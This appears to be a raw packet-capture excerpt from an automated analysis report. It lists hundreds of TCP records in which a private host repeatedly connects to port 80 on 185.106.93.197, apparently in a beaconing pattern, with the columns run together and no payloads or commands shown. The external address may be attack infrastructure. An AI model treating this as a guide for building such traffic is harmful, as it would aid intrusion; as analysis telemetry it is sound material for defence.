                                                                      Aug 28, 2024 11:19:48.144615889 CEST6028880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:48.149570942 CEST8060288185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:48.149584055 CEST8060288185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:48.149591923 CEST8060288185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:48.188838959 CEST8060287185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:48.238168955 CEST6028780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:48.316930056 CEST8060287185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:48.363168955 CEST6028780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:48.551812887 CEST8060288185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:48.551831007 CEST8060283185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:48.551851988 CEST8060287185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:48.551861048 CEST8060288185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:48.551893950 CEST6028380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:48.551924944 CEST6028780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:48.551964998 CEST6028880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:48.673321962 CEST6028780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:48.673602104 CEST6028880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:48.673683882 CEST6028980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:48.678662062 CEST8060289185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:48.678704977 CEST8060287185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:48.678770065 CEST6028980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:48.678797007 CEST6028780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:48.678920031 CEST6028980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:48.679167986 CEST8060288185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:48.679333925 CEST6028880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:48.683691978 CEST8060289185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:49.035281897 CEST6028980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:49.040175915 CEST8060289185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:49.040186882 CEST8060289185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:49.040194988 CEST8060289185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:49.389364958 CEST8060289185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:49.443272114 CEST6028980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:49.474401951 CEST8060289185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:49.519589901 CEST6028980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:49.595268011 CEST6029080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:49.600099087 CEST8060290185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:49.603348970 CEST6029080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:49.607265949 CEST6029080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:49.611999989 CEST8060290185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:49.958122015 CEST6029080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:49.992400885 CEST6029080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:50.180478096 CEST8060290185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:50.180512905 CEST8060290185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:50.181050062 CEST8060290185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:50.181082010 CEST8060290185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:50.252178907 CEST8060290185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:50.300699949 CEST6029080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:50.459846973 CEST8060290185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:50.519469023 CEST6029080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:50.585635900 CEST6029080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:50.586508036 CEST6029180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:50.591088057 CEST8060290185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:50.591140032 CEST6029080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:50.591321945 CEST8060291185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:50.591378927 CEST6029180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:50.591512918 CEST6029180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:50.596307993 CEST8060291185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:50.941464901 CEST6029180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:50.946574926 CEST8060291185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:50.946588993 CEST8060291185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:50.946597099 CEST8060291185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:51.479425907 CEST8060291185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:51.479542017 CEST8060291185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:51.479621887 CEST8060291185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:51.479815006 CEST6029180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:51.593884945 CEST6029180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:51.597578049 CEST6029280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:51.599812984 CEST8060291185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:51.601632118 CEST6029180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:51.603519917 CEST8060292185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:51.605456114 CEST6029280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:51.609277010 CEST6029280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:51.615171909 CEST8060292185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:51.957056999 CEST6029280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:51.961941957 CEST8060292185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:51.961956978 CEST8060292185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:51.961963892 CEST8060292185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:52.272264004 CEST8060292185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:52.316329002 CEST6029280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:52.404951096 CEST8060292185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:52.454818964 CEST6029280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:52.539767981 CEST6029280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:52.540488958 CEST6029380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:52.544965029 CEST8060292185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:52.545018911 CEST6029280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:52.545309067 CEST8060293185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:52.545386076 CEST6029380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:52.545649052 CEST6029380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:52.550419092 CEST8060293185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:52.899295092 CEST6029380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:52.904439926 CEST8060293185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:52.904464006 CEST8060293185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:52.904473066 CEST8060293185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:53.178658962 CEST8060293185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:53.223299980 CEST6029380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:53.309592962 CEST8060293185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:53.333368063 CEST6029380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:53.333368063 CEST6029480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:53.338325024 CEST8060294185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:53.338474989 CEST8060293185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:53.339301109 CEST6029380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:53.339301109 CEST6029480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:53.340583086 CEST6029480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:53.345410109 CEST8060294185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:53.436122894 CEST6029480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:53.439281940 CEST6029580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:53.444156885 CEST8060295185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:53.444288015 CEST6029580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:53.444366932 CEST6029580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:53.449209929 CEST8060295185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:53.486140966 CEST8060294185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:53.800822020 CEST6029580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:53.941339016 CEST6029580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:53.993043900 CEST8060294185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:53.993098974 CEST6029480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:53.993937016 CEST8060295185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:53.994016886 CEST8060295185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:53.994074106 CEST8060295185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:53.994082928 CEST8060295185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:54.073731899 CEST8060295185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:54.204947948 CEST8060295185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:54.205039024 CEST6029580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:54.327029943 CEST6029580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:54.327299118 CEST6029680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:54.332115889 CEST8060296185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:54.332201004 CEST6029680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:54.332407951 CEST8060295185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:54.332459927 CEST6029580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:54.332992077 CEST6029680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:54.337805033 CEST8060296185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:54.339617968 CEST8060289185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:54.339673996 CEST6028980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:54.691808939 CEST6029680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:54.696866035 CEST8060296185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:54.696880102 CEST8060296185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:54.696887016 CEST8060296185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:54.986819029 CEST8060296185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:55.039294004 CEST6029680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:55.118649006 CEST8060296185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:55.161317110 CEST6029680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:55.232693911 CEST6029780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:55.237623930 CEST8060297185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:55.239373922 CEST6029780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:55.239634991 CEST6029780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:55.244460106 CEST8060297185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:55.598443031 CEST6029780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:55.603822947 CEST8060297185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:55.603836060 CEST8060297185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:55.603844881 CEST8060297185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:55.902379990 CEST8060297185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:55.956969023 CEST6029780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:56.037130117 CEST8060297185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:56.113223076 CEST6029780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:56.160301924 CEST6029780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:56.160737991 CEST6029880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:56.160783052 CEST6029680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:56.356231928 CEST8060298185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:56.356246948 CEST8060297185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:56.356293917 CEST6029880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:56.356322050 CEST6029780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:56.356508017 CEST6029880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:56.361272097 CEST8060298185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:56.709640980 CEST6029880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:56.716360092 CEST8060298185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:56.716372967 CEST8060298185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:56.716379881 CEST8060298185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:56.998780012 CEST8060298185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:57.130752087 CEST8060298185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:57.131097078 CEST6029880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:57.248897076 CEST6029880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:57.251297951 CEST6029980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:57.254131079 CEST8060298185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:57.254479885 CEST6029880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:57.256156921 CEST8060299185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:57.259393930 CEST6029980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:57.259510040 CEST6029980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:57.264436960 CEST8060299185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:57.615329027 CEST6029980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:57.620399952 CEST8060299185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:57.620415926 CEST8060299185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:57.620425940 CEST8060299185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:57.889458895 CEST8060299185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:57.941359997 CEST6029980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:58.017229080 CEST8060299185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:58.066343069 CEST6029980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:58.163490057 CEST6029980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:58.163754940 CEST6030080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:58.168706894 CEST8060299185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:58.168764114 CEST6029980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:58.169064045 CEST8060300185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:58.169121981 CEST6030080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:58.169249058 CEST6030080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:58.174698114 CEST8060300185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:58.441992998 CEST6030080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:58.442260981 CEST6030180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:58.447690010 CEST8060301185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:58.447784901 CEST6030180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:58.447877884 CEST6030180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:58.452677011 CEST8060301185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:58.494193077 CEST8060300185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:58.569058895 CEST6030280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:58.574043036 CEST8060302185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:58.574124098 CEST6030280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:58.574287891 CEST6030280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:58.579442978 CEST8060302185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:58.629833937 CEST8060300185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:58.629898071 CEST6030080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:58.803344011 CEST6030180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:58.808528900 CEST8060301185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:58.808739901 CEST8060301185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:58.927340984 CEST6030280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:58.932899952 CEST8060302185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:58.932915926 CEST8060302185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:58.932923079 CEST8060302185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:59.117414951 CEST8060301185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:59.160119057 CEST6030180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:59.196589947 CEST8060302185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:59.254486084 CEST8060301185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:59.303302050 CEST6030180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:59.319299936 CEST6030280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:59.328960896 CEST8060302185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:59.452645063 CEST6030280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:59.452645063 CEST6030180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:59.452651024 CEST6030380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:59.457648039 CEST8060303185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:59.458023071 CEST8060302185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:59.458435059 CEST8060301185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:59.458538055 CEST6030280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:59.458538055 CEST6030180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:59.458646059 CEST6030380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:59.459355116 CEST6030380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:59.464143991 CEST8060303185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:59.816571951 CEST6030380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:59.821471930 CEST8060303185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:59.821489096 CEST8060303185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:59.821499109 CEST8060303185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:00.088920116 CEST8060303185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:00.217443943 CEST8060303185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:00.217503071 CEST6030380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:00.352503061 CEST6030480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:00.357439995 CEST8060304185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:00.357513905 CEST6030480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:00.357633114 CEST6030480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:00.362421989 CEST8060304185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:00.707134962 CEST6030480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:00.712174892 CEST8060304185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:00.712198019 CEST8060304185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:00.712208033 CEST8060304185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:01.004781961 CEST8060304185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:01.051321983 CEST6030480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:01.136774063 CEST8060304185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:01.191502094 CEST6030480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:01.256546021 CEST6030480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:01.256546974 CEST6030580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:01.262082100 CEST8060305185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:01.262629986 CEST8060304185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:01.263371944 CEST6030580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:01.263375044 CEST6030480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:01.263454914 CEST6030580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:01.268562078 CEST8060305185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:01.613393068 CEST6030580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:01.618341923 CEST8060305185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:01.618355036 CEST8060305185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:01.618839979 CEST8060305185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:01.983912945 CEST8060305185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:02.035123110 CEST6030580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:02.122469902 CEST8060305185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:02.175785065 CEST6030580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:02.258193970 CEST6030580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:02.258856058 CEST6030680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:02.263565063 CEST8060305185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:02.263624907 CEST6030580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:02.263753891 CEST8060306185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:02.263820887 CEST6030680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:02.263983011 CEST6030680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:02.268743992 CEST8060306185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:02.614140987 CEST6030680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:02.619096994 CEST8060306185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:02.619110107 CEST8060306185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:02.619121075 CEST8060306185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:02.907259941 CEST8060306185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:03.019586086 CEST6030680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:03.034420013 CEST8060306185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:03.159318924 CEST6030780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:03.159322977 CEST6030680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:03.164397955 CEST8060307185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:03.164632082 CEST6030780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:03.164633036 CEST6030780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:03.164671898 CEST8060306185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:03.164954901 CEST6030680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:03.169755936 CEST8060307185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:03.523341894 CEST6030780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:03.529087067 CEST8060307185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:03.529100895 CEST8060307185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:03.529228926 CEST8060307185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:03.828192949 CEST8060307185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:03.903697968 CEST6030780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:03.944300890 CEST8060307185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:04.003909111 CEST6030780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:04.065921068 CEST6030380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:04.068989038 CEST6030780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:04.069247007 CEST6030880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:04.074189901 CEST8060308185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:04.074255943 CEST6030880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:04.074333906 CEST8060307185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:04.074388027 CEST6030880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:04.074390888 CEST6030780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:04.079291105 CEST8060308185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:04.271152020 CEST6030980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:04.271305084 CEST6030880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:04.276917934 CEST8060309185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:04.276994944 CEST6030980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:04.277184963 CEST6030980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:04.282593966 CEST8060309185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:04.318147898 CEST8060308185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:04.395966053 CEST6031080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:04.401468992 CEST8060310185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:04.401542902 CEST6031080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:04.401689053 CEST6031080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:04.406574011 CEST8060310185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:04.530929089 CEST8060308185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:04.531157017 CEST6030880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:04.629131079 CEST6030980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:04.640547037 CEST8060309185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:04.640726089 CEST8060309185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:04.754081964 CEST6031080192.168.2.7185.106.93.197
